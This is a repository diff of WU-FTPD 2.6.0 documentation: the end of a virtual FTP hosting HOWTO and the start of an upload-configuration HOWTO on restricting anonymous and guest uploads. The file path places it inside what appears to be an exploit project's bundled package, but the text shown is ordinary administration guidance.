| 271 | |||
| 272 | 1. In order to compile in virtual hosting support it is necessary | ||
| 273 | to assure "VIRTUAL" is defined. This is normally set in the | ||
| 274 | src/config.h file that is created when you run 'build'. You | ||
| 275 | should find the line | ||
| 276 | |||
| 277 | #define VIRTUAL | ||
| 278 | |||
| 279 | If it is not there, you will need to add it to your copy of config.h. | ||
| 280 | |||
| 281 | 2. Check pathnames.h. | ||
| 282 | |||
| 283 | Make sure you know where you want to put things on the system. | ||
| 284 | If you change the install paths, check and change the top level | ||
| 285 | makefile as well. | ||
| 286 | |||
| 287 | 3. "build system-type". | ||
| 288 | |||
| 289 | 4. "make install". | ||
| 290 | |||
| 291 | At this point do a "make install" in the wu-ftpd top-level source | ||
| 292 | directory and things will be installed. | ||
| 293 | |||
| 294 | |||
| 295 | [----] | ||
| 296 | |||
| 297 | 6. Setting up the directory structure for virtual server support | ||
| 298 | ---------------------------------------------------------------- | ||
| 299 | |||
| 300 | You will need to make sure the proper files/directories are in-place. | ||
| 301 | Here is my structure. (Note: I put everything in a single directory | ||
| 302 | structure for testing convenience. Actually I do that when I'm not | ||
| 303 | testing as well...) | ||
| 304 | |||
| 305 | From my pathnames.h | ||
| 306 | |||
| 307 | /* | ||
| 308 | ** Master Copies - Possibly overridden by VIRTUAL Hosting Configuation | ||
| 309 | */ | ||
| 310 | |||
| 311 | #define _PATH_FTPACCESS "/etc/ftpd/ftpaccess" | ||
| 312 | #define _PATH_CVT "/etc/ftpd/ftpconversions" | ||
| 313 | #define _PATH_FTPUSERS "/etc/ftpd/ftpusers" | ||
| 314 | #define _PATH_PRIVATE "/etc/ftpd/ftpgroups" | ||
| 315 | #define _PATH_FTPSERVERS "/etc/ftpd/ftpservers" | ||
| 316 | #define _PATH_FTPHOSTS "/etc/ftpd/ftphosts" | ||
| 317 | |||
| 318 | /* site-wide */ | ||
| 319 | #define _PATH_PIDNAMES "/etc/ftpd/ftp.pids-%s" | ||
| 320 | |||
| 321 | LS Listing: | ||
| 322 | |||
| 323 | rkive-19:43-kent ls -lR /etc/ftpd | ||
| 324 | /etc/ftpd: | ||
| 325 | total 36 | ||
| 326 | drwxrwsr-x 2 root sys 512 Jun 26 19:22 bin | ||
| 327 | drwxrwsr-x 4 root sys 512 Jun 26 15:48 config | ||
| 328 | -rw-r--r-- 1 root sys 4096 Jun 26 19:23 ftp.pids-local | ||
| 329 | -rw-r--r-- 1 root sys 4096 Jun 26 19:33 ftp.pids-remote | ||
| 330 | -rw------- 1 root sys 2046 Jun 26 14:55 ftpaccess | ||
| 331 | -rw------- 1 root sys 873 Jun 26 14:55 ftpconversions | ||
| 332 | -rw------- 1 root sys 37 Jun 26 14:55 ftpgroups | ||
| 333 | -rw------- 1 root sys 277 Jun 26 14:55 ftphosts | ||
| 334 | -rw------- 1 root sys 429 Jun 26 16:03 ftpservers | ||
| 335 | -rw------- 1 root sys 151 Jun 26 14:55 ftpusers | ||
| 336 | drwxrwsr-x 6 root sys 512 Jun 26 14:56 man | ||
| 337 | |||
| 338 | /etc/ftpd/bin: | ||
| 339 | total 1848 | ||
| 340 | -rwxr-xr-x 1 bin bin 28312 Jun 26 19:22 ftpcount | ||
| 341 | -rwxr-xr-x 1 bin bin 37512 Jun 26 19:22 ftprestart | ||
| 342 | -rwxr-xr-x 1 bin bin 47264 Jun 26 19:22 ftpshut | ||
| 343 | -rwxr-xr-x 1 bin bin 28312 Jun 26 19:22 ftpwho | ||
| 344 | -rwxr-xr-x 1 bin bin 385568 Jun 26 19:22 in.ftpd | ||
| 345 | |||
| 346 | /etc/ftpd/config: | ||
| 347 | total 12 | ||
| 348 | drwxrwsr-x 2 root sys 512 Jun 26 16:04 some.domain | ||
| 349 | drwxrwsr-x 2 root sys 512 Jun 26 16:06 some.other.domain | ||
| 350 | drwxrwsr-x 2 root sys 512 Jun 26 15:01 landfield.com | ||
| 351 | |||
| 352 | /etc/ftpd/config/some.domain: | ||
| 353 | total 6 | ||
| 354 | -rw------- 1 root sys 1891 Jun 26 16:03 ftpaccess | ||
| 355 | -rw------- 1 root sys 146 Jun 26 16:05 ftpusers | ||
| 356 | |||
| 357 | /etc/ftpd/config/some.other.domain: | ||
| 358 | total 6 | ||
| 359 | -rw------- 1 root sys 1891 Jun 26 16:03 ftpaccess | ||
| 360 | -rw------- 1 root sys 146 Jun 26 16:05 ftpusers | ||
| 361 | |||
| 362 | /etc/ftpd/config/landfield.com: | ||
| 363 | total 4 | ||
| 364 | -rw------- 1 root sys 2046 Jun 26 15:01 ftpaccess | ||
| 365 | |||
| 366 | /etc/ftpd/man: | ||
| 367 | total 8 | ||
| 368 | drwxrwsr-x 2 root sys 512 Jun 26 19:22 man1 | ||
| 369 | drwxrwsr-x 2 root sys 512 Jun 26 19:22 man1m | ||
| 370 | drwxrwsr-x 2 root sys 512 Jun 26 19:22 man5 | ||
| 371 | drwxrwsr-x 2 root sys 512 Jun 26 14:56 man8 | ||
| 372 | |||
| 373 | /etc/ftpd/man/man1: | ||
| 374 | total 4 | ||
| 375 | -r--r--r-- 1 bin bin 374 Jun 26 19:22 ftpcount.1 | ||
| 376 | -r--r--r-- 1 bin bin 450 Jun 26 19:22 ftpwho.1 | ||
| 377 | |||
| 378 | /etc/ftpd/man/man1m: | ||
| 379 | total 28 | ||
| 380 | -r--r--r-- 1 bin bin 2177 Jun 26 19:22 ftpshut.1m | ||
| 381 | -r--r--r-- 1 bin bin 805 Jun 26 19:22 ftprestart.1m | ||
| 382 | -r--r--r-- 1 bin bin 10813 Jun 26 19:22 in.ftpd.1m | ||
| 383 | |||
| 384 | /etc/ftpd/man/man5: | ||
| 385 | total 40 | ||
| 386 | -r--r--r-- 1 bin bin 15341 Jun 26 19:22 ftpaccess.5 | ||
| 387 | -r--r--r-- 1 bin bin 1004 Jun 26 19:22 ftpconversions.5 | ||
| 388 | -r--r--r-- 1 bin bin 683 Jun 26 19:22 ftphosts.5 | ||
| 389 | -r--r--r-- 1 bin bin 2531 Jun 26 19:22 xferlog.5 | ||
| 390 | |||
| 391 | |||
| 392 | [----] | ||
| 393 | |||
| 394 | 7. Configuring to support Virtual FTP Server Support | ||
| 395 | ---------------------------------------------------- | ||
| 396 | |||
| 397 | -------------- | ||
| 398 | 7.1 Background | ||
| 399 | -------------- | ||
| 400 | |||
| 401 | This version provides two different means for supporting virtual hosting. | ||
| 402 | You can choose to use the limited virtual hosting support or you can | ||
| 403 | use complete virtual support by having completely different ftpaccess | ||
| 404 | files. | ||
| 405 | |||
| 406 | In the limited support version, virtual servers are only partially | ||
| 407 | supported. This implementation of virtual servers only supports | ||
| 408 | setting | ||
| 409 | |||
| 410 | - the root ftp directory, | ||
| 411 | - the log file, | ||
| 412 | - the banner, | ||
| 413 | - the hostname, and | ||
| 414 | - the email address to contact. | ||
| 415 | |||
| 416 | All other directives in the ftpaccess file have to be shared globally | ||
| 417 | across all virtual servers. Below is the original message that | ||
| 418 | described how to setup limited virtual support. | ||
| 419 | |||
| 420 | --------------------------------------- | ||
| 421 | 7.1.1. Limited Virtual Hosting Support: | ||
| 422 | --------------------------------------- | ||
| 423 | |||
| 424 | Date: Fri, 26 May 1995 21:33:23 -0400 (EDT) | ||
| 425 | From: Brian Kramer <bjkramer@pluto.njcc.com> | ||
| 426 | To: wu-ftpd@wugate.wustl.edu | ||
| 427 | Subject: Virtual FTP Servers | ||
| 428 | |||
| 429 | [Modifications to provide for discrete xferlogs for each server provided by | ||
| 430 | Marc G. Fournier <scrappy@ki.net> -- sob.] | ||
| 431 | |||
| 432 | I'm attaching a patch for wu-ftpd 2.4 to allow virtual ftp servers to be | ||
| 433 | setup. Basically so a user ftping to ftp1.domain.com gets one ftp banner | ||
| 434 | and one ftp directory and a user ftping to ftp2.domain.com gets another | ||
| 435 | banner and directory even though they are on the same machine and port. | ||
| 436 | |||
| 437 | I was the person who originally asked how to do it, and got enough answers | ||
| 438 | to write a patch that would allow it. You have to be able to setup alias | ||
| 439 | IP addresses in order for this to work. I know linux and bsdi support this. | ||
| 440 | I do not warrant this code at all. Use it AT YOUR OWN RISK. If it causes | ||
| 441 | your computer to blow up, TOUGH! | ||
| 442 | |||
| 443 | Here's the steps. | ||
| 444 | |||
| 445 | Compile the software with -DVIRTUAL added to the CFLAGS in the Makefile | ||
| 446 | |||
| 447 | Add lines similar to the following for each virtual server to ftpaccess: | ||
| 448 | |||
| 449 | # Virtual Server at 10.10.10.10 | ||
| 450 | virtual 10.10.10.10 root /var/ftp/virtual/ftp-serv | ||
| 451 | virtual 10.10.10.10 banner /var/ftp/virtual/ftp-serv/banner.msg | ||
| 452 | virtual 10.10.10.10 logfile /var/log/ftp/virtual/ftp-serv/xferlog | ||
| 453 | |||
| 454 | The first arg is the ip address of the virtual server. | ||
| 455 | The second arg is either "root", "banner" or "logfile" (without the quotes) | ||
| 456 | for that virtual server. | ||
| 457 | The third arg is the file system location for the item specified in the | ||
| 458 | second arg. | ||
| 459 | |||
| 460 | Note: all the other message files, etc, and permissions and other settings | ||
| 461 | in the ftpaccess file apply to all virtual servers. | ||
| 462 | |||
| 463 | ---------------------------------------- | ||
| 464 | 7.1.2. Complete Virtual Hosting Support: | ||
| 465 | ---------------------------------------- | ||
| 466 | |||
| 467 | Now you can use the previous method or you can create a separate ftpaccess | ||
| 468 | to provide support for all ftpaccess directives. The ftpaccess, ftpusers, | ||
| 469 | ftpgroups, ftphosts and ftpconversions files can all be specified on a | ||
| 470 | per-domain basis. You now have the ability to override the Master WU-FTPD | ||
| 471 | config files with a local copy specific to that domain. If you do not wish | ||
| 472 | to place a copy of one or all files listed above in the virtual host | ||
| 473 | directory for that specific host then the master copy is used. | ||
| 474 | |||
| 475 | Supported on a virtual host basis: | ||
| 476 | ---------------------------------- | ||
| 477 | _PATH_FTPACCESS | ||
| 478 | _PATH_FTPUSERS | ||
| 479 | _PATH_PRIVATE | ||
| 480 | _PATH_FTPHOSTS | ||
| 481 | _PATH_CVT | ||
| 482 | |||
| 483 | Set in a virtual site's ftpaccess file or master ftpaccess file | ||
| 484 | --------------------------------------------------------------- | ||
| 485 | _PATH_XFERLOG | ||
| 486 | |||
| 487 | Supported on a site-wide basis: | ||
| 488 | ------------------------------- | ||
| 489 | _PATH_FTPSERVERS | ||
| 490 | _PATH_EXECPATH | ||
| 491 | _PATH_PIDNAMES | ||
| 492 | _PATH_UTMP | ||
| 493 | _PATH_WTMP | ||
| 494 | _PATH_LASTLOG | ||
| 495 | _PATH_BSHELL | ||
| 496 | _PATH_DEVNULL | ||
| 497 | |||
| 498 | ------------------------------ | ||
| 499 | 7.2 Create an ftpservers file: | ||
| 500 | ------------------------------ | ||
| 501 | |||
| 502 | If you wish to take advanage of the extended virtual support it is | ||
| 503 | necessary to create an ftpservers file. A real simple sample is | ||
| 504 | shown below. | ||
| 505 | |||
| 506 | # | ||
| 507 | # ftpservers file | ||
| 508 | # | ||
| 509 | # Format: | ||
| 510 | # IP Address Path to directory holding configuration | ||
| 511 | # or hostname files for this virtual domain | ||
| 512 | # | ||
| 513 | # ftpaccess file for the landfield.com domain | ||
| 514 | # | ||
| 515 | landfield.com /etc/ftpd/config/landfield.com | ||
| 516 | # | ||
| 517 | # ftpaccess file for the some.domain | ||
| 518 | # | ||
| 519 | some.domain /etc/ftpd/config/some.domain | ||
| 520 | # | ||
| 521 | # ftpaccess file for the some.other.domain | ||
| 522 | # | ||
| 523 | 208.196.145.140 /etc/ftpd/some.other.domain | ||
| 524 | # | ||
| 525 | |||
| 526 | Make sure to create the directories you have listed. | ||
| 527 | |||
| 528 | ---------------------------- | ||
| 529 | 7.3 Virtual ftpaccess files: | ||
| 530 | ---------------------------- | ||
| 531 | |||
| 532 | For each virtual domain that you want to support, you have the option | ||
| 533 | to create a ftpaccess file specific for that domain. This will override | ||
| 534 | completely what you have in the Master ftpaccess file. This file must | ||
| 535 | contain all directives. If you do not create an ftpaccess file for a | ||
| 536 | specific domain, the domain will use the Master ftpaccess file settings. | ||
| 537 | |||
| 538 | The only additions to the ftpaccess file that you need to make over a | ||
| 539 | non-virtual version is the "root" and "logfile" directives. These act | ||
| 540 | to assure the proper ftpd root directory is used for each of the supported | ||
| 541 | virtual domains. The logfile directive is used to specify where you want | ||
| 542 | the transfer logs recorded for that specific virtual domain. A sample is | ||
| 543 | specfied below. | ||
| 544 | |||
| 545 | root /ftp | ||
| 546 | logfile /var/log/xferlog | ||
| 547 | |||
| 548 | ----------------------------------------- | ||
| 549 | 7.4. Master ftpaccess file Modifications: | ||
| 550 | ----------------------------------------- | ||
| 551 | |||
| 552 | If you do not want to setup a completely different ftpaccess file | ||
| 553 | for a virtual domain, you can specify five separate things for the | ||
| 554 | virtual server you want to setup in the master ftpaccess file. | ||
| 555 | |||
| 556 | 1. root - This it the path to the ftp directory that you | ||
| 557 | previously setup for this virtual server. | ||
| 558 | 2. banner - This it the path to banner you wish displayed when a | ||
| 559 | user connects to the virtual server. | ||
| 560 | 3. logfile - This is the path to the logfile that is setup | ||
| 561 | specifically for this virtual server. | ||
| 562 | 4. hostname - This is the hostname of the virtual server. | ||
| 563 | specifically for this virtual server. | ||
| 564 | 5. email - This is the email address to direct comments to | ||
| 565 | specifically for this virtual server. | ||
| 566 | |||
| 567 | The format of a virtual server entry is | ||
| 568 | |||
| 569 | virtual <address> <root | banner | logfile> <path> | ||
| 570 | |||
| 571 | <address> is the IP address of the virtual server. The second | ||
| 572 | argument specifies the <path> is either the path to the root of | ||
| 573 | the filesystem for this virtual server, the banner presented to | ||
| 574 | the user when connecting to this virtual server, or the logfile | ||
| 575 | where transfers are recorded for this virtual server. If the | ||
| 576 | logfile is not specified the default logfile will be used. | ||
| 577 | |||
| 578 | For example, add lines similar to the following for each virtual | ||
| 579 | server you are trying to set up. | ||
| 580 | |||
| 581 | # Virtual Server at 10.10.10.10 | ||
| 582 | virtual 10.10.10.10 root /var/ftp/virtual/ftp-serv | ||
| 583 | virtual 10.10.10.10 banner /var/ftp/virtual/ftp-serv/banner.msg | ||
| 584 | virtual 10.10.10.10 logfile /var/log/ftp/virtual/ftp-serv/xferlog | ||
| 585 | virtual 10.10.10.10 hostname froggy | ||
| 586 | virtual 10.10.10.10 email ftp-admin@froggy.some.domain | ||
| 587 | |||
| 588 | Done this way, all other message files and permissions as well as any | ||
| 589 | other settings in the Master ftpaccess file apply to all listed virtual | ||
| 590 | servers. | ||
| 591 | |||
| 592 | --------------------------------------- | ||
| 593 | 7.5. Adding other virtual domain files: | ||
| 594 | --------------------------------------- | ||
| 595 | |||
| 596 | With this release you have the ability to create other configuration | ||
| 597 | files on a per-virtual-domain basis. Currently, the files you put into | ||
| 598 | the virtual domain directory you have listed in the ftpservers file | ||
| 599 | MUST be named: | ||
| 600 | |||
| 601 | ftpaccess - virtual domain's access file | ||
| 602 | ftpusers - restrict the accounts that can use the web server, | ||
| 603 | ftpgroups - SITE GROUP and SITE GPASS support, | ||
| 604 | ftphosts - allow or deny usernames access to that virtual server, | ||
| 605 | ftpconversions - customize conversions available in the virtual domain. | ||
| 606 | |||
| 607 | NOTE!!!: If you misspell any of them or name them something else, the | ||
| 608 | server WILL NOT find them and the master copy of them will be | ||
| 609 | used instead. | ||
| 610 | |||
| 611 | [----] | ||
| 612 | |||
| 613 | 8. Setting up other support files | ||
| 614 | --------------------------------- | ||
| 615 | |||
| 616 | You will need to make sure that any file referenced after the | ||
| 617 | chroot(~ftp) are in the virtual server directories. Those files | ||
| 618 | are | ||
| 619 | |||
| 620 | * all messages (deny, welcome, etc.) | ||
| 621 | * _PATH_EXECPATH files | ||
| 622 | |||
| 623 | You will need to customize the banner, welcome and other message | ||
| 624 | files for each virtual server directory. | ||
| 625 | |||
| 626 | [----] | ||
| 627 | |||
| 628 | 9. Supporting virtual logging | ||
| 629 | ----------------------------- | ||
| 630 | |||
| 631 | There are two different types of logging, the standard syslog | ||
| 632 | logging and transfer logging. In order to separate transfer (or | ||
| 633 | xferlog) logging it is necessary to use the "logfile" entry as | ||
| 634 | described above. | ||
| 635 | |||
| 636 | To enable logging via syslog, follow the standard syslog | ||
| 637 | configuration instructions found in your system's documentation. | ||
| 638 | Make sure you are using the same syslog 'facility' as is compiled | ||
| 639 | into your wu-ftpd software. By default, 'daemon' is used. If you | ||
| 640 | would like to change this, change the 'FACILITY' define in | ||
| 641 | config.h. | ||
| 642 | |||
| 643 | If you have syslog logging enabled you will see entries such as | ||
| 644 | |||
| 645 | Mar 3 15:26:30 rkive ftpd[27207]: VirtualFTP Connect to: xxx.xxx.xxx.xxx | ||
| 646 | |||
| 647 | This enables you to determine which virtual server the log records | ||
| 648 | pertain to. | ||
| 649 | |||
| 650 | [----] | ||
| 651 | |||
| 652 | |||
| 653 | 10. Shutting down your virtual FTP servers | ||
| 654 | ------------------------------------------- | ||
| 655 | |||
| 656 | In order to support the proper shutting down of your server, you | ||
| 657 | need to assure the shutdown message file is created in both the | ||
| 658 | real user and anonymous user ftp areas. The location of the | ||
| 659 | shutdown message file is specified in the ftpaccess file | ||
| 660 | "shutdown" directive. | ||
| 661 | |||
| 662 | In previous versions of wu-ftpd it was recommended to create a | ||
| 663 | link to where the shutdown message file would be in order for | ||
| 664 | shutdown to work properly for real and anonymous user. The problem | ||
| 665 | was the supplied utility, 'ftpshut', only created the shutdown | ||
| 666 | message file in the actual location as indicated in the shutdown | ||
| 667 | directive and not in the anonymous FTP area. It also did not have | ||
| 668 | support for virtual server shutdown. And when you were ready to | ||
| 669 | restart your servers, you need to remove the shutdown message | ||
| 670 | file manually. | ||
| 671 | |||
| 672 | In order to overcome this, wu-ftpd has been modified to support | ||
| 673 | shutting down the server for real users and guest/anonymous | ||
| 674 | accounts and also for virtual FTP servers. It creates shutdown | ||
| 675 | message files in all appropriate locations. | ||
| 676 | |||
| 677 | [----] | ||
| 678 | |||
| 679 | 11. Restarting your shutdown virtual FTP servers | ||
| 680 | ------------------------------------------------- | ||
| 681 | |||
| 682 | When you are ready to restart your ftp servers you will need to | ||
| 683 | remove the shutdown message files. ftprestart is used when you | ||
| 684 | are ready to re-enable your FTP server. It does the opposite of | ||
| 685 | ftpshut and removes shutdown message files that were created by | ||
| 686 | ftpshut. It will remove the system-wide shutdown message file as | ||
| 687 | well as the shutdown message files in the anonymous ftp areas and | ||
| 688 | any virtual ftp server areas. | ||
| 689 | |||
| 690 | NOTE: At present it is either all-or-nothing when it comes to | ||
| 691 | ftpshut and ftprestart. You cannot shutdown just a single | ||
| 692 | server. If you need to do that you will have to do it | ||
| 693 | manually at present. | ||
| 694 | |||
| 695 | [----] | ||
| 696 | |||
| 697 | 12. Testing Your New Shiny Virtual Server Setup | ||
| 698 | ----------------------------------------------- | ||
| 699 | |||
| 700 | A good test strategy is to create an entire runtime directory dedicated | ||
| 701 | to wu-ftpd such as /usr/local/wu-ftpd-test/ or /etc/ftpd/ and make | ||
| 702 | sure all the files and executables go there. In that manner you will be | ||
| 703 | able to do a hot swap if you ever want to/need to (shouldn't be necessary | ||
| 704 | but please CYA... ;)) | ||
| 705 | |||
| 706 | You will need to test each and every new virtual server you | ||
| 707 | install. Make sure that you have the appropriate permissions and | ||
| 708 | are getting the right results. Only you will know what is right | ||
| 709 | for you. | ||
| 710 | |||
| 711 | Also, if you have existing FTP server areas on your system, test | ||
| 712 | and make sure that something you did to the ftpaccess file did not | ||
| 713 | break what use to work. | ||
| 714 | |||
| 715 | If you want to see what set of configuration files are being used you | ||
| 716 | can set '-DVIRTUAL_DEBUG' in the makefile. Build and install the new | ||
| 717 | version and see what prints out. Please don't run with this debug | ||
| 718 | option enabled as it give much to much information out to those that | ||
| 719 | have no 'need to know'. | ||
| 720 | |||
| 721 | |||
| 722 | [----] | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/HOWTO/upload.configuration.HOWTO b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/HOWTO/upload.configuration.HOWTO new file mode 100644 index 0000000..dc845ec --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/HOWTO/upload.configuration.HOWTO | |||
| @@ -0,0 +1,463 @@ | |||
| 1 | |||
| 2 | Copyright (c) 1999 WU-FTPD Development Group. | ||
| 3 | All rights reserved. | ||
| 4 | |||
| 5 | Portions Copyright (c) 1980, 1985, 1988, 1989, 1990, 1991, 1993, 1994 | ||
| 6 | The Regents of the University of California. | ||
| 7 | Portions Copyright (c) 1993, 1994 Washington University in Saint Louis. | ||
| 8 | Portions Copyright (c) 1996, 1998 Berkeley Software Design, Inc. | ||
| 9 | Portions Copyright (c) 1989 Massachusetts Institute of Technology. | ||
| 10 | Portions Copyright (c) 1998 Sendmail, Inc. | ||
| 11 | Portions Copyright (c) 1983, 1995, 1996, 1997 Eric P. Allman. | ||
| 12 | Portions Copyright (c) 1997 Stan Barber. | ||
| 13 | Portions Copyright (c) 1997 Kent Landfield. | ||
| 14 | Portions Copyright (c) 1991, 1992, 1993, 1994, 1995, 1996, 1997 | ||
| 15 | Free Software Foundation, Inc. | ||
| 16 | |||
| 17 | Use and distribution of this software and its source code are governed | ||
| 18 | by the terms and conditions of the WU-FTPD Software License ("LICENSE"). | ||
| 19 | |||
| 20 | If you did not receive a copy of the license, it may be obtained online | ||
| 21 | at http://www.wu-ftpd.org/license.html. | ||
| 22 | |||
| 23 | $Id: upload.configuration.HOWTO,v 1.1 1999/09/20 02:02:17 wuftpd Exp $ | ||
| 24 | |||
| 25 | |||
| 26 | |||
| 27 | Upload Configuration | ||
| 28 | HOW-TO | ||
| 29 | |||
| 30 | This document is available on-line at: | ||
| 31 | ftp://ftp.wu-ftpd.org/pub/wu-ftpd/upload.configuration.HOWTO | ||
| 32 | |||
| 33 | One of the more powerfull, yet most often misused, features of WU-FTPD is | ||
| 34 | the upload clause. Historically, the problems with the upload clause stem | ||
| 35 | from unclear documentation and poor implementation. This document is an | ||
| 36 | attempt to address these issues. The features discussed in this document | ||
| 37 | apply to WU-FTPD Version 2.6.0. If you are not running 2.6.0, you are | ||
| 38 | strongly encouraged to upgrade; it includes a number of corrections, new | ||
| 39 | features and security enhancements not available with earlier versions of | ||
| 40 | WU-FTPD. | ||
| 41 | |||
| 42 | |||
| 43 | |||
| 44 | Upload restrictions for anonymous FTP users | ||
| 45 | ------------------------------------------- | ||
| 46 | For this example, we'll assume your system /etc/passwd file contains an | ||
| 47 | entry for the anonymous FTP user as follows: | ||
| 48 | |||
| 49 | ftp:*:95:95::/home/ftp: | ||
| 50 | |||
| 51 | If your /etc/passwd file does not contain an entry for the user 'ftp' your | ||
| 52 | site will not allow anonymous FTP. In addition, if the usernames 'ftp' or | ||
| 53 | 'anonymous' appear in the /etc/ftpusers file, anonymous FTP will not be | ||
| 54 | allowed. | ||
| 55 | |||
| 56 | In /etc/ftpaccess, we need a class which allows anonymous access. The | ||
| 57 | following allows anonymous FTP from anywhere: | ||
| 58 | |||
| 59 | class anonftp anonymous * | ||
| 60 | |||
| 61 | To prevent anonymous FTP users attempting a Denial of Service (DoS) attack | ||
| 62 | against your system, you should create a special filesystem to receive | ||
| 63 | their uploads. This separate filesystem protects your server by limiting | ||
| 64 | the total size of all uploaded files while preventing those files from | ||
| 65 | consuming all available space on the server. For this example, mount the | ||
| 66 | filesystem on /home/ftp/incoming | ||
| 67 | |||
| 68 | By default, the server will not allow uploads from anonymous FTP users. | ||
| 69 | Just to be safe, and so we don't forget, let's add a clause saying that: | ||
| 70 | |||
| 71 | upload /home/ftp * no | ||
| 72 | |||
| 73 | What this says is, "For any user whose home directory is the anonymous FTP | ||
| 74 | area, /home/ftp, do not allow any uploads." As I said, this is the | ||
| 75 | default, but put it in anyway so you don't forget. | ||
| 76 | |||
| 77 | Now, we want to allow uploads into the incoming filesystem. We MUST add a | ||
| 78 | clause granting that privilege to anonymous users. Right now we don't want | ||
| 79 | to let anonymous users create directories. (I recommend NEVER allowing them | ||
| 80 | to do it, but I'll show you how in a bit.) We want to ensure, however, | ||
| 81 | the server is safe and cannot be used as a way-point for software pirates | ||
| 82 | (warez traders). So we'll set the directory permissions for the incoming | ||
| 83 | area to prevent anyone seeing what's there and make the area write-only for | ||
| 84 | anonymous users. | ||
| 85 | |||
| 86 | First, we need an FTP site administrator, someone who owns the files, but | ||
| 87 | isn't the root user or the anonymous user. Something like the following | ||
| 88 | /etc/passwd entry will do: | ||
| 89 | |||
| 90 | ftpadmin:*:96:96::/home/ftp: | ||
| 91 | |||
| 92 | Set the incoming area permissions and ownership to safe values. I | ||
| 93 | recommend the following: | ||
| 94 | |||
| 95 | chown ftpadmin /home/ftp/incoming | ||
| 96 | chgrp ftpadmin /home/ftp/incoming | ||
| 97 | chmod 3773 /home/ftp/incoming | ||
| 98 | |||
| 99 | Actually, ftpadmin should own more of the site, but I'm only talking about | ||
| 100 | uploads right now. | ||
| 101 | |||
| 102 | Finally, before we get into allowing uploads, one last thing. Whether you | ||
| 103 | allow on-the-fly tar'ing of directories or not, you should make sure an | ||
| 104 | end-run cannot be made and the incoming area downloaded using tar. To do | ||
| 105 | so, create the special file '.notar' in both the FTP directory and the | ||
| 106 | incoming area: | ||
| 107 | |||
| 108 | touch /home/ftp/.notar | ||
| 109 | chmod 0 /home/ftp/.notar | ||
| 110 | touch /home/ftp/incoming/.notar | ||
| 111 | chmod 0 /home/ftp/incoming/.notar | ||
| 112 | |||
| 113 | The zero-length .notar file can confuse some web clients and FTP proxies, | ||
| 114 | so let's mark it unretrievable. | ||
| 115 | |||
| 116 | noretrieve .notar | ||
| 117 | |||
| 118 | Time to allow uploads, put the following in /etc/ftpaccess: | ||
| 119 | |||
| 120 | upload /home/ftp /incoming yes ftpadmin ftpadmin 0440 nodirs | ||
| 121 | |||
| 122 | Notice the target directory for the uploads is relative to the view the | ||
| 123 | user will have during the FTP session. | ||
| 124 | |||
| 125 | What this says is, "For any user whose home directory is the anonymous FTP | ||
| 126 | area, /home/ftp, allow uploads into the directory /incoming but do not | ||
| 127 | allow the creation of new directories. Make all files uploaded owned by | ||
| 128 | the FTP administrator, mark them read-only so we don't allow them to be | ||
| 129 | downloaded." If uploaded files are to be made available for downloading, | ||
| 130 | the safest thing to do is to tell the FTP administrator to move them into a | ||
| 131 | public area and modify the permissions after validating and approving them. | ||
| 132 | I know this seems draconian but, in the long run, it's best. | ||
| 133 | |||
| 134 | Some FTP sites like to live dangerously and allow anonymous users to create | ||
| 135 | directories. I don't recommend this; it cannot be done with absolute | ||
| 136 | safety. If you insist, however, you can at least limit it to a single | ||
| 137 | directory level. For example, replace the upload clause just added with | ||
| 138 | the following: | ||
| 139 | |||
| 140 | upload /home/ftp /incoming yes ftpadmin ftpadmin 0440 dirs 3773 | ||
| 141 | upload /home/ftp /incoming/* yes ftpadmin ftpadmin 0440 nodirs | ||
| 142 | |||
| 143 | The first line allows directories to be created in the incoming area and | ||
| 144 | enforces the use of safe permissions on them. The second prevents creation | ||
| 145 | of deeper sub-directories. Notice one of the problems with allowing | ||
| 146 | directory creation is there is no way to automatically create a '.notar' in | ||
| 147 | the new directory, so a crafty user may be able to make an end-run and | ||
| 148 | download it anyway using on-the-fly tar'ing. | ||
| 149 | |||
| 150 | One last thing: since the incoming area shouldn't allow downloads, and | ||
| 151 | since it's a file system, there will be a lost+found area; you will want to | ||
| 152 | add the following clause to make SURE no downloads occur: | ||
| 153 | |||
| 154 | noretrieve /home/ftp/incoming | ||
| 155 | |||
| 156 | or, at least, add the following to prevent downloading of the lost+found | ||
| 157 | files: | ||
| 158 | |||
| 159 | noretrieve /home/ftp/incoming/lost+found | ||
| 160 | |||
| 161 | |||
| 162 | |||
| 163 | Upload restrictions for guest users | ||
| 164 | ----------------------------------- | ||
| 165 | Setting up the FTP server for guest users is covered in the Guest HOWTO. | ||
| 166 | It is not my purpose here to cover how to set up for guest access. If you | ||
| 167 | have not yet done so, review the information in that document at: | ||
| 168 | |||
| 169 | ftp://ftp.fni.com/pub/wu-ftpd/guest-howto | ||
| 170 | |||
| 171 | For this example, I'll assume you have entries similar to the following in | ||
| 172 | your system /etc/passwd file: | ||
| 173 | |||
| 174 | dick:*:1010:1010::/home/users/./dick:/bin/sh | ||
| 175 | jane:*:1011:1011::/home/users/./jane:/bin/sh | ||
| 176 | |||
| 177 | By default, the WU-FTPD server will grant upload privileges to all guest | ||
| 178 | users. The example users are chroot'd to /home/users and cannot access any | ||
| 179 | area of the filesystem outside that directory structure. What we're | ||
| 180 | interested in, then, is simply protecting the areas in the chroot directory | ||
| 181 | structure we want to keep the users out of. | ||
| 182 | |||
| 183 | In a minimal installation, there will be bin, etc and dev, subdirectories | ||
| 184 | in the /home/users directory. Other files and subdirectories may exist | ||
| 185 | depending upon the requirements of your operating system. We don't want | ||
| 186 | users being able to upload into these areas. In case something happens to | ||
| 187 | the permissions on them (you did set the permissions to safe values, didn't | ||
| 188 | you?), you should deny upload privileges in your ftpaccess file. In our | ||
| 189 | case, we'll say the following: | ||
| 190 | |||
| 191 | upload /home/users/* / no | ||
| 192 | upload /home/users/* /bin no | ||
| 193 | upload /home/users/* /etc no | ||
| 194 | upload /home/users/* /dev no | ||
| 195 | |||
| 196 | While we're at it, we'll prevent downloads with noretrieve. Don't forget | ||
| 197 | to prevent end-runs by also creating .notar files in each directory. | ||
| 198 | |||
| 199 | noretrieve /home/users/bin | ||
| 200 | noretrieve /home/users/etc | ||
| 201 | noretrieve /home/users/dev | ||
| 202 | |||
| 203 | |||
| 204 | |||
| 205 | Upload restrictions for real users | ||
| 206 | ---------------------------------- | ||
| 207 | First off, let me say you shouldn't have any real users in your FTP site. | ||
| 208 | Or, being more realistic, the only real user should be the site | ||
